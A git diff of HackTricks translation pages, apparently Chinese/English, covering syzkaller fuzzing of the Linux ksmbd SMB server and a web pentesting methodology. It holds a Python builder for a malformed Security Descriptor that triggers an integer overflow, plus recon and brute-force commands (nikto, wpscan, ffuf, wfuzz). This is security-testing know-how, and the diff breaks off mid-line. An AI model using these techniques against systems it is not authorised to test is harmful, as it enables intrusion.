-- 在试验时可以去掉严格的 credit 检查(post-hardening for CVE-2024-50285 使 simultaneous-op crediting 更严格)。否则,速率限制可能会过早拒绝模糊生成的序列。 -- 增加 max connections(例如到 65536)以避免在高吞吐模糊测试时被过早拒绝。 +- Allow guest access and set map to guest = bad user so unknown users fall back to GUEST. +- Accept NTLMv2 (patch policy if disabled). This keeps the handshake simple while exercising SMB3 code paths. +- Patch out strict credit checks when experimenting (post-hardening for CVE-2024-50285 made simultaneous-op crediting stricter). Otherwise, rate-limits can reject fuzzed sequences too early. +- Increase max connections (e.g., to 65536) to avoid early rejections during high-throughput fuzzing. -注意:这些放宽仅用于便于模糊测试。不要在生产环境中使用这些设置。 +Caution: These relaxations are to facilitate fuzzing only. Do not deploy with these settings in production. --- ## Stateful Harness: Extract Resources and Chain Requests -SMB 是有状态的:许多请求依赖于先前响应中返回的标识符(SessionId、TreeID、FileID 对)。你的 harness 必须解析响应并在同一程序内重用 ID,以到达更深的处理器(例如 smb2_create → smb2_ioctl → smb2_close)。 +SMB 是有状态的:许多请求依赖于先前响应返回的标识符(SessionId、TreeID、FileID 对)。你的 harness 必须解析响应并在同一程序中重用这些 ID,才能到达更深的处理器(例如 smb2_create → smb2_ioctl → smb2_close)。 Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs: ```c @@ -76,15 +76,15 @@ break; } ``` 提示 -- 保持单个 fuzzer 进程共享认证/状态:在 ksmbd 的 global/session tables 上可以获得更好的稳定性和覆盖率。syzkaller 仍然通过将 ops 标记为 async 并在内部重新运行来注入并发。 -- Syzkaller’s 实验性 reset_acc_state 可以重置 global state,但可能会引入严重的性能下降。优先考虑稳定性并专注于 fuzzing。 +- 保持一个 fuzzer 进程共享认证/状态:在 ksmbd 的 global/session tables 上能获得更好的稳定性和覆盖率。syzkaller 仍然通过将 ops 标记为 async 并在内部重新运行来注入 concurrency。 +- Syzkaller’s experimental reset_acc_state 可以重置 global state,但可能会导致严重的性能下降。建议优先保证稳定性并专注于 fuzzing。 --- -## 基于语法的 SMB2 生成(有效 PDUs) -将 Microsoft Open Specifications 中的 SMB2 结构转换为 fuzzer grammar,以使你的生成器产生结构上有效的 PDUs,从而系统性地到达 dispatchers 和 IOCTL handlers。 +## 基于语法的 SMB2 生成 (有效的 PDUs) +将 Microsoft Open Specifications 中的 SMB2 结构翻译成一个 fuzzer grammar,使你的生成器能产生结构上有效的 PDUs,从而系统性地到达 dispatchers 和 IOCTL handlers。 -示例(SMB2 IOCTL request): +示例 (SMB2 IOCTL request): ``` smb2_ioctl_req { Header_Prefix SMB2Header_Prefix @@ -107,12 +107,12 @@ Input array[int8] Output array[int8] } [packed] ``` -这种风格强制正确的结构大小/偏移,并且相对于盲目变异显著提高覆盖率。 +这种方式强制正确的结构大小/偏移,并相较于盲目变异显著提升覆盖率。 --- ## Directed Fuzzing With focus_areas -使用 syzkaller 的实验性 focus_areas 对当前覆盖较弱的特定函数/文件赋予更高权重。示例 JSON: +使用 syzkaller’s experimental focus_areas 来对当前覆盖率较弱的特定函数/文件增加权重。示例 JSON: ```json { "focus_areas": [ @@ -122,9 +122,9 @@ Output array[int8] ] } ``` -这有助于构造有效的 ACLs,从而触发 smbacl.c 中的 arithmetic/overflow 路径。例如,一个具有过大 dacloffset 的恶意 Security Descriptor 可以重现 integer-overflow。 +这有助于构造有效的 ACLs,从而触发 smbacl.c 中的 arithmetic/overflow 路径。例如,一个具有超大 dacloffset 的恶意 Security Descriptor 会重现 integer-overflow。 -Reproducer builder (minimal Python): +复现生成器 (minimal Python): ```python def build_sd(): import struct @@ -143,8 +143,8 @@ return bytes(sd) ``` --- -## 使用 ANYBLOB 打破覆盖率瓶颈 -syzkaller’s anyTypes (ANYBLOB/ANYRES) 允许将复杂结构折叠为可以通用变异的 blobs。 从公开的 SMB pcaps 中生成新的 corpus,并将 payloads 转换为调用你 pseudo-syscall(例如 syz_ksmbd_send_req)的 syzkaller 程序: +## 用 ANYBLOB 打破覆盖率停滞 +syzkaller 的 anyTypes (ANYBLOB/ANYRES) 允许将复杂结构折叠为以通用方式变异的 blob。可从公开的 SMB pcaps 为新的语料库 seed,并将 payloads 转换为调用你的伪系统调用(例如 syz_ksmbd_send_req)的 syzkaller 程序: ```bash # Extract SMB payloads to JSON # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json @@ -167,14 +167,14 @@ f.write( f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" ) ``` -这能快速启动探索,并且可以立即触发 UAFs(例如,在 ksmbd_sessions_deregister 中),同时将覆盖率提高几个百分点。 +这可以快速启动探索,并可能立即触发 UAFs (例如在 ksmbd_sessions_deregister 中),同时将覆盖率提升几个百分点。 --- -## Sanitizers:超越 KASAN -- KASAN 仍然是检测堆漏洞(UAF/OOB)的主要探测器。 -- KCSAN 在该目标上经常产生误报或低严重度的数据竞争。 -- UBSAN/KUBSAN 能捕获 KASAN 由于数组索引语义而遗漏的声明边界错误。示例: +## Sanitizers: 超越 KASAN +- KASAN remains the primary detector for heap bugs (UAF/OOB). +- KCSAN 在此目标上常常产生误报或低严重性的数据竞争。 +- UBSAN/KUBSAN 可以捕获由于数组索引语义导致 KASAN 漏报的声明边界错误。示例: ```c id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); struct smb_sid { @@ -187,19 +187,19 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b --- ## 吞吐量与并行性说明 -- 单个 fuzzer 进程(共享 auth/state)对于 ksmbd 通常更稳定,并且仍能借助 syzkaller 的内部 async executor 触发 races/UAFs。 -- 在多台 VMs 下,总体仍可达到每秒数百个 SMB 命令。函数级覆盖率大致可达 fs/smb/server 约 60% 和 smb2pdu.c 约 70%,但这些度量通常不能充分反映 state-transition 的覆盖情况。 +- 单个 fuzzer 进程(shared auth/state)对于 ksmbd 通常更稳定,并且由于 syzkaller 的 internal async executor,仍然能暴露 race/UAF 等问题。 +- 使用多台 VM 时,总体仍可达到每秒数百个 SMB 命令的处理量。函数级覆盖率可以达到对 fs/smb/server 约 ~60% 和对 smb2pdu.c 约 ~70%,不过这类度量通常低估了状态转换的覆盖情况。 --- -## 实用检查清单 +## 实用清单 - 在 ksmbd 中启用 durable handles、leases、multi-channel、oplocks 和 VFS objects。 -- 允许 guest 和 map-to-guest;接受 NTLMv2。移除 credit limits 并提高 max connections 以提升 fuzzer 稳定性。 -- 构建有状态的 harness,缓存 SessionId/TreeID/FileIDs 并串联 create → ioctl → close。 -- 使用 SMB2 PDUs 的 grammar 以保持结构有效性。 -- 使用 focus_areas 对覆盖薄弱的函数加权(例如 smbacl.c 中的 smb_check_perm_dacl 路径)。 -- 用来自真实 pcaps 的 ANYBLOB 作为种子以打破平台瓶颈;用 syz-db 打包 seeds 以便复用。 -- 使用 KASAN + UBSAN 运行;仔细处置 UBSAN 的 declared-bounds 报告。 +- 允许 guest 和 map-to-guest;接受 NTLMv2。去掉 credit limits 并提高 max connections 以提高 fuzzer 的稳定性。 +- 构建一个有状态的 harness,缓存 SessionId/TreeID/FileIDs,并将 create → ioctl → close 链接起来。 +- 使用针对 SMB2 PDUs 的 grammar 以保持结构有效性。 +- 使用 focus_areas 来加重那些覆盖较弱的函数(例如 smbacl.c 中像 smb_check_perm_dacl 的路径)。 +- 使用来自真实 pcaps 的 ANYBLOB 作为种子以打破平台期;使用 syz-db 打包种子以便复用。 +- 在 KASAN + UBSAN 下运行;仔细整理 UBSAN declared-bounds 报告。 --- @@ -214,6 +214,6 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b - KCSAN: https://docs.kernel.org/dev-tools/kcsan.html - Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ - Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures -- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes +- 背景阅读: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 261875925..9f8d62d26 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -4,9 +4,9 @@ ## 基本信息 -Web 服务是最 **常见且范围广泛的服务**,存在许多 **不同类型的漏洞**。 +web 服务是最**常见且范围最广的服务**之一,存在许多**不同类型的漏洞**。 -**默认端口:** 80 (HTTP), 443(HTTPS) +**默认端口:** 80 (HTTP), 443(HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 web-api-pentesting.md {{#endref}} -## 方法论摘要 +## Methodology summary -> 在本方法论中,我们假定你将针对一个 domain(或 subdomain)进行攻击,仅针对该目标。因此,应当对范围内每个发现的 domain、subdomain 或运行不明 web server 的 IP 应用此方法论。 +> 在此 methodology 中,我们假设你只会攻击一个域(或子域)。因此,应对在范围内发现的每个域、子域或未确定 web server 的 IP 应用此 methodology。 -- [ ] 首先**识别** web server 使用的 **technologies**。如果能成功识别该 tech,请在后续测试中留意相关 **tricks**。 -- [ ] 该 technology 的版本是否存在已知的 **known vulnerability**? -- [ ] 是否使用了任何 **well known tech**?是否有任何 **useful trick** 可用于提取更多信息? -- [ ] 是否有需要运行的 **specialised scanner**(例如 wpscan)? -- [ ] 运行 **general purposes scanners**。你永远不知道它们是否会发现什么或提供有价值的信息。 -- [ ] 从 **initial checks** 开始:检查 **robots**、**sitemap**、**404** 错误以及 **SSL/TLS scan**(如果为 HTTPS)。 -- [ ] 开始对网页进行 **spidering**:现在是时候 **find** 出所有可能的 **files, folders** 及正在使用的 **parameters**。同时,检查是否有 **special findings**。 -- [ ] _注意:在 brute-forcing 或 spidering 过程中发现任何新目录时,应该对其进行 spidering。_ -- [ ] **Directory Brute-Forcing**:尝试对所有已发现的文件夹进行 brute force,以寻找新的 **files** 和 **directories**。 -- [ ] _注意:在 brute-forcing 或 spidering 过程中发现任何新目录时,应该对其进行 Brute-Forced。_ -- [ ] **Backups checking**:通过附加常见的备份扩展名,测试是否能找到 **discovered files** 的 **backups**。 -- [ ] **Brute-Force parameters**:尝试 **find hidden parameters**。 -- [ ] 一旦你 **identified** 了所有可能接受 **user input** 的 **endpoints**,就要检查与之相关的各种 **vulnerabilities**。 +- [ ] Start by **identifying** the **technologies** used by the web server. Look for **tricks** to keep in mind during the rest of the test if you can successfully identify the tech. +- [ ] Any **known vulnerability** of the version of the technology? +- [ ] Using any **well known tech**? Any **useful trick** to extract more information? +- [ ] Any **specialised scanner** to run (like wpscan)? +- [ ] Launch **general purposes scanners**. You never know if they are going to find something or if the are going to find some interesting information. +- [ ] Start with the **initial checks**: **robots**, **sitemap**, **404** error and **SSL/TLS scan** (if HTTPS). +- [ ] Start **spidering** the web page: It's time to **find** all the possible **files, folders** and **parameters being used.** Also, check for **special findings**. +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ +- [ ] **Directory Brute-Forcing**: Try to brute force all the discovered folders searching for new **files** and **directories**. +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ +- [ ] **Backups checking**: Test if you can find **backups** of **discovered files** appending common backup extensions. +- [ ] **Brute-Force parameters**: Try to **find hidden parameters**. +- [ ] Once you have **identified** all the possible **endpoints** accepting **user input**, check for all kind of **vulnerabilities** related to it. - [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## 服务器版本(是否易受攻击?) +## Server Version (Vulnerable?) -### 识别 +### Identify -检查正在运行的服务器 **version** 是否存在 **known vulnerabilities**。\ -**HTTP headers and cookies of the response** 对 **identify** 所使用的 **technologies** 和/或 **version** 非常有帮助。**Nmap scan** 可以识别服务器版本,但工具 [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** +Check if there are **known vulnerabilities** for the server **version** that is running.\ +The **HTTP headers and cookies of the response** could be very useful to **identify** the **technologies** and/or **version** being used. **Nmap scan** can identify the server version, but it could also be useful the tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -搜索 **是否有** [**web 应用的漏洞** **版本信息**](../../generic-hacking/search-exploits.md) +Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) -### **检查是否有 WAF** +### **Check if any WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Web 技术 技巧 +### Web tech tricks -一些 **技巧** 用于在不同知名 **技术** 中 **发现漏洞**: +一些用于在不同已知技术中发现漏洞的技巧: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -102,27 +102,27 @@ webanalyze -host https://google.com -crawl 2 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) - [**Sitecore**](sitecore/index.html) -_请注意,**同一域名** 可能在不同的 **端口**、**目录** 和 **子域** 上使用 **不同的技术**._\ -如果该 web 应用 使用 之前列出的任何知名 **技术/平台** 或 **任何其他**,别忘了 **在互联网上搜索** 新的技巧(并告诉我!)。 +_请注意 **同一域名** 可能在不同的 **端口**、**目录** 和 **子域** 上使用 **不同的技术**。_\ +如果 web 应用正在使用任何之前列出的知名 **技术/平台** 或 **其他**,别忘了在 **互联网上搜索** 新的技巧(并告诉我!)。 -### 源代码审查 +### Source Code Review -如果应用的 **源代码** 可在 **github** 获取,除了你亲自对应用进行 **White box test** 外,还有一些 **信息** 可能对当前的 **Black-Box testing** 有用: +如果应用的 **源代码** 可在 **github** 获取,除了你自行对该应用进行 **白盒测试** 之外,仓库中还有一些可能对当前 **黑盒测试** 有用的 **信息**: -- 是否有 **Change-log 或 Readme 或 Version** 文件或任何通过 web 可访问的 **版本信息**? -- **凭据** 是如何以及在哪里保存的?是否有任何(可访问的?)**文件** 包含凭据(用户名或密码)? -- **密码** 是 **明文**、**加密** 还是使用了哪种 **哈希算法**? -- 是否使用任何 **master key** 来加密某些东西?使用了哪种 **算法**? -- 你能否通过利用某些漏洞 **访问这些文件中的任意一个**? -- 在 **github** 中是否有任何有趣的信息(已解决和未解决的)**issues**?或者在 **commit history** 中(可能某个旧提交中引入了某个 **密码**)? +- 是否有 **Change-log 或 Readme 或 Version** 文件,或任何可通过 web 访问的 **版本信息**? +- 凭证是如何以及在哪里保存的?是否有任何(可访问的?)含有凭证(用户名或密码)的 **文件**? +- 密码是以 **明文**、**加密** 还是使用了哪种 **哈希算法**? +- 是否使用任何用于加密的 **主密钥**?使用的是哪种 **算法**? +- 你是否可以通过利用某些漏洞访问这些 **文件** 中的任意一个? +- 在 **github** 中是否有任何 **有趣的信息**(已解决或未解决的)**issues**?或者在 **commit history**(提交历史)中是否有(可能在旧的提交中引入的)**密码**? {{#ref}} code-review-tools.md {{#endref}} -### 自动扫描器 +### Automatic scanners -#### 通用自动扫描器 +#### General purpose automatic scanners ```bash nikto -h whatweb -a 4 @@ -136,7 +136,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### CMS 扫描器 -如果使用了 CMS,别忘了**运行扫描器**,可能会发现有价值的内容: +如果使用了 CMS,别忘了**运行扫描器**,也许会发现有价值的信息: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 用于检测网站的安全问题。 (GUI)\ @@ -149,45 +149,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> 到此为止,你应该已经对客户端使用的 web server(如果有提供数据)有了一些了解,并掌握在测试中需注意的一些技巧。如果幸运的话,你甚至可能已经发现了 CMS 并运行了一些 scanner。 +> 此时你应该已经掌握了一些关于客户端使用的 web 服务器的信息(如果提供了任何数据)以及在测试中需要记住的一些技巧。如果幸运的话,你甚至已经发现了一个 CMS 并运行了一些 scanner。 ## 逐步 Web Application 发现 -> 从这一点开始,我们将开始与 web application 交互。 +> 从这一点开始我们将开始与 web 应用交互。 -### 初步检查 +### 初始检查 -**带有有用信息的默认页面:** +**包含有用信息的默认页面:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- 也检查主页面和次要页面中的注释。 +- 还要检查主页面和次要页面中的注释。 -**触发错误** +**强制产生错误** -当向 Web 服务器发送异常数据时,服务器可能会**异常行为**。这可能会打开 **vulnerabilities** 或 **泄露敏感信息**。 +当向 Web 服务器发送奇怪的数据时,服务器可能会**表现异常**。这可能会暴露**漏洞**或**泄露敏感信息**。 -- 访问 **伪造页面**,例如 /whatever_fake.php (.aspx,.html,.etc) -- 在 **cookie 值** 和 **参数值** 中 **添加 "\[]", "]]", 和 "\[["** 以制造错误 -- 通过在 **URL** 的 **末尾** 提供输入 **`/~randomthing/%s`** 来生成错误 -- 尝试不同的 **HTTP Verbs**,例如 PATCH、DEBUG,或故意使用错误的 FAKE +- 访问 **假页面**,例如 /whatever_fake.php (.aspx,.html,.etc) +- **在** **cookie 值** 和 **参数 值** 中 **添加 "\[]", "]]", 和 "\[["** 以触发错误 +- 通过在 **URL** 的 **末尾** 提供输入如 **`/~randomthing/%s`** 来生成错误 +- 尝试 **不同的 HTTP Verbs**,例如 PATCH、DEBUG,或错误的如 FAKE #### **检查是否可以上传文件 (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -如果你发现 **WebDav** 已启用,但你在根目录没有足够的权限来 **上传文件**,尝试: +如果发现 **WebDav** 已 **启用**,但在根文件夹没有足够权限进行 **上传文件**,尝试: - **Brute Force** 凭证 -- 通过 WebDav **Upload files** 到网页中已发现的其他文件夹。你可能对其他文件夹具有上传权限。 +- 通过 WebDav 将 **上传文件** 放到网页内其他 **已发现文件夹**。你可能在这些文件夹拥有上传权限。 ### **SSL/TLS 漏洞** -- 如果应用在任何部分**没有强制使用 HTTPS**,则容易受到 **MitM** 攻击。 -- 如果应用**通过 HTTP 发送敏感数据(如密码)**,则这是一个高危漏洞。 +- 如果应用在任何部分**没有强制使用 HTTPS**,那么它**容易受到 MitM 攻击** +- 如果应用**通过 HTTP 发送敏感数据(密码)**,则这是一个高危漏洞。 -使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 检查 **vulnerabilities**(在 Bug Bounty 计划中这类漏洞可能不会被接受),并使用 [**a2sv**](https://github.com/hahwul/a2sv) 重新核实这些 vulnerabilities: +使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 来检查 **漏洞**(在 Bug Bounty 项目中这类漏洞可能不会被接受),并使用 [**a2sv**](https://github.com/hahwul/a2sv) 重新核实这些漏洞: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -203,51 +203,51 @@ Information about SSL/TLS vulnerabilities: ### Spidering -在 web 应用内启动某种 **spider**。spider 的目标是从被测试的应用中**找到尽可能多的路径**。因此,应使用 web 爬行和外部来源来发现尽可能多的有效路径。 +Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 爬虫,可在 JS 文件中使用 LinkFinder,并使用外部来源 (Archive.org, CommonCrawl.org, VirusTotal.com)。 -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML 爬虫,具有针对 JS 文件的 LinkFinder 并使用 Archive.org 作为外部来源。 -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 爬虫,同时标记“juicy files”。 -- [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式 CLI HTML 爬虫。也会在 Archive.org 中搜索。 -- [**meg**](https://github.com/tomnomnom/meg) (go): 该工具不是蜘蛛但很有用。你可以提供一个 hosts 文件和一个 paths 文件,meg 会对每个主机的每个路径进行抓取并保存响应。 -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 具有 JS 渲染能力的 HTML 爬虫。然而,看起来它没有维护,预编译版本较旧且当前代码无法编译。 -- [**gau**](https://github.com/lc/gau) (go): 使用外部提供者(wayback, otx, commoncrawl)的 HTML 爬虫。 -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 该脚本会找到带参数的 URL 并列出它们。 -- [**galer**](https://github.com/dwisiswant0/galer) (go): 具有 JS 渲染能力的 HTML 爬虫。 -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML 爬虫,具备 JS 美化能力,可在 JS 文件中搜索新路径。也可以看看 [JSScanner](https://github.com/dark-warlord14/JSScanner),它是 LinkFinder 的一个封装。 -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 从 HTML 源和嵌入的 javascript 文件中提取 endpoints。对 bug 猎人、red teamers、infosec ninjas 很有用。 -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用 Tornado 和 JSBeautifier 的 python 2.7 脚本,用于从 JavaScript 文件中解析相对 URL。对轻松发现 AJAX 请求很有用。似乎未维护。 -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件 (HTML),它将使用巧妙的正则表达式从混淆(minify)文件中查找并提取相对 URL。 -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): 使用多个工具从 JS 文件中收集有趣信息。 -- [**subjs**](https://github.com/lc/subjs) (go): 查找 JS 文件。 -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在 headless browser 中加载页面并打印出所有为加载页面所请求的 urls。 -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具,融合了前述工具的多种选项。 -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 一个 Burp 扩展,用于在 JS 文件中查找路径和参数。 -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 给定 .js.map URL 时,获取美化后的 JS 代码的工具。 -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 用于为给定目标发现 endpoints 的工具。 -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** 从 wayback machine 发现链接(也会下载 wayback 中的响应并寻找更多链接)。 -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取(甚至通过填写表单)并使用特定 regex 查找敏感信息。 -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite 是为网络安全专家设计的高级多功能 GUI web 安全 Crawler/Spider。 -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 一个 Go 包和 [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice),用于从 JavaScript 源代码中提取 URLs、paths、secrets 和其他有趣数据。 -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge 是一个简单的 **Burp Suite extension**,用于从请求中**提取参数和 endpoints**,以为 fuzzing 和枚举创建自定义 wordlist。 -- [**katana**](https://github.com/projectdiscovery/katana) (go): 对此非常棒的工具。 -- [**Crawley**](https://github.com/s0rg/crawley) (go): 打印它能够找到的每个 link。 +- [**gospider**](https://github.com/jaeles-project/gospider) (go):HTML spider,能在 JS files 中使用 LinkFinder 并查询外部来源(Archive.org、CommonCrawl.org、VirusTotal.com)。 +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go):HML spider,带有针对 JS files 的 LinkFinder,并使用 Archive.org 作为外部来源。 +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python):HTML spider,同时指出“juicy files”。 +- [**evine** ](https://github.com/saeeddhqan/evine)(go):Interactive CLI HTML spider。它也会在 Archive.org 中搜索 +- [**meg**](https://github.com/tomnomnom/meg) (go):这个工具不是 spider,但可能有用。你可以指定一个 hosts 文件和一个 paths 文件,meg 会对每个 host 的每个 path 发起请求并保存响应。 +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go):具有 JS rendering 功能的 HTML spider。但看起来未维护,预编译版本较旧且当前代码无法编译 +- [**gau**](https://github.com/lc/gau) (go):使用外部提供者(wayback、otx、commoncrawl)的 HTML spider +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider):该脚本将找到带参数的 URL 并列出它们。 +- [**galer**](https://github.com/dwisiswant0/galer) (go):具有 JS rendering 功能的 HTML spider。 +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python):HTML spider,具备 JS beautify 功能,能够在 JS files 中搜索新路径。也值得看一下 [JSScanner](https://github.com/dark-warlord14/JSScanner),这是 LinkFinder 的一个封装。 +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go):用于从 HTML 源和嵌入的 javascript 文件中提取 endpoints。对 bug hunters、red teamers、infosec ninjas 很有用。 +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7):一个使用 Tornado 和 JSBeautifier 的 python 2.7 脚本,用于从 JavaScript 文件解析相对 URL。对发现 AJAX 请求很有用。看起来未维护。 +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby):给定一个文件(HTML)后,它会使用巧妙的正则表达式从丑陋(minify)文件中查找并提取相对 URL。 +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools):使用多个工具从 JS files 收集有趣的信息。 +- [**subjs**](https://github.com/lc/subjs) (go):查找 JS files。 +- [**page-fetch**](https://github.com/detectify/page-fetch) (go):在 headless browser 中加载页面并打印出为加载该页面而加载的所有 urls。 +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust):内容发现工具,融合了前述工具的多种选项 +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions):一个 Burp 扩展,用于在 JS files 中查找 path 和 params。 +- [**Sourcemapper**](https://github.com/denandz/sourcemapper):给定 .js.map URL 时,该工具会获取 beautified 的 JS 代码 +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder):用于为给定目标发现 endpoints 的工具。 +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** 从 wayback machine 发现链接(也会下载 wayback 中的响应并查找更多链接) +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go):可以抓取(甚至通过填写表单)并使用特定 regex 查找敏感信息。 +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite):Spider Suite 是一个为网络安全专业人员设计的高级多功能 GUI web security Crawler/Spider。 +- [**jsluice**](https://github.com/BishopFox/jsluice) (go):这是一个 Go 包和 [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice),用于从 JavaScript 源代码中提取 URLs、paths、secrets 以及其他有趣的数据。 +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge):ParaForge 是一个简单的 **Burp Suite extension**,用于 **提取请求中的 parameters 和 endpoints**,以便为 fuzzing 和枚举创建自定义 wordlist。 +- [**katana**](https://github.com/projectdiscovery/katana) (go):非常适合这类工作。 +- [**Crawley**](https://github.com/s0rg/crawley) (go):打印它能找到的每一个链接。 ### Brute Force directories and files -从根目录开始进行 **brute-forcing**,并确保使用**此方法**对**发现的所有目录**进行 brute-force,也对通过 **Spidering** **发现的所有目录**进行 brute-force(你可以递归地进行 brute-forcing,并在所用 wordlist 开头添加已发现目录的名称)。\ -工具: +Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\ +Tools: -- **Dirb** / **Dirbuster** - 包含在 Kali 中,**老旧**(且**慢**)但可用。允许 auto-signed certificates 和递归搜索。与其它选项相比太慢。 -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 它不允许 auto-signed certificates 但**允许递归搜索**。 -- [**Gobuster**](https://github.com/OJ/gobuster) (go): 它允许 auto-signed certificates,但**不**支持**递归**搜索。 -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。** +- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search. +- [**Gobuster**](https://github.com/OJ/gobuster) (go):支持自签名证书,但**不**支持 **recursive** 搜索。 +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` -- [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): 这不是蜘蛛,但给定已发现的 URL 列表后,它会删除“重复”的 URLs。 -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp 扩展,从不同页面的 burp 